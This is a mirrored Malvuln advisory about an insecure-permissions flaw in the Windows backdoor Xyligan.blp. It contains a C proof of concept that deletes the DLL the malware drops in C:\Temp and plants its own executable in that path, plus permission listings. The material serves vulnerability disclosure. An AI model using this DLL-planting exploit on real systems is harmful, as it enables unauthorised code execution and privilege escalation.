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## https://sploitus.com/exploit?id=PACKETSTORM:161241
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/6b9afcad282516173c0ab8a6eb91e8b4.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Xyligan.blp  
Vulnerability: Insecure Permissions EoP  
Description: Xyligan.blp creates an insecure dir named "Temp" under c:\ drive and drops DLL "FengYun.dll into it". The C:\Temp is granted change (C) permissions to the authenticated users group allowing any authenticated user to change the DLL to one of their own executables.  
Type: PE32  
MD5: 6b9afcad282516173c0ab8a6eb91e8b4.exe  
Vuln ID: MVID-2021-0065  
Dropped files: FengYun.dll  
Disclosure: 02/01/2021  
  
Exploit/PoC:  
#include "stdio.h"  
#include "windows.h"  
#define TARGET "C:\\Temp\\FengYun.dll"  
#define TMP "C:\\Temp\\2.exe"  
#define DISABLED_TARGET "C:\\Temp\\pwn.tmp"  
  
/* Backdoor.Win32.Xyligan.blp.6b9afcad282516173c0ab8a6eb91e8b4.exe */  
/* Insecure Permissions EoP */  
/* By Malvuln */  
  
BOOL PWNED=FALSE;  
  
BOOL FileExists(LPCTSTR szPath){  
DWORD dwAttrib = GetFileAttributes(szPath);  
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));  
}  
  
void main(void){  
  
if(!FileExists(DISABLED_TARGET)){  
WinExec("cmd.exe /c del C:\\Temp\\FengYun.dll", 0);  
Sleep(1000);  
CopyFile(TARGET, TMP, FALSE);  
Sleep(1000);  
CopyFile(TMP, DISABLED_TARGET, FALSE);  
printf("[+] Backdoor.Win32.Xyligan.blp EoP PoC\n");  
Sleep(1000);  
printf("[+] Deleted FengYun.dll ...\n");  
Sleep(300);  
}else{  
PWNED=TRUE;  
}  
  
if(!PWNED){  
char fname[MAX_PATH];  
char newLoc[]=TARGET;  
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);  
if (size){  
printf("[+] Copying exploit to vuln dir...\n");  
Sleep(1000);  
CopyFile(fname, TARGET, FALSE);  
printf("[+] Done!\n");  
exit(0);  
}  
}else{  
if(FileExists(TMP)){  
remove(TMP);  
}  
printf("[+] Backdoor.Win32.Xyligan.blp PWNED!\n");  
printf("[+] MD5: 6b9afcad282516173c0ab8a6eb91e8b4\n");  
printf("[+] By Malvuln\n");  
system("pause");  
}  
}  
  
  
C:\>cacls \Temp  
C:\Temp BUILTIN\Administrators:(OI)(CI)(ID)F  
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F  
BUILTIN\Users:(OI)(CI)(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C  
  
  
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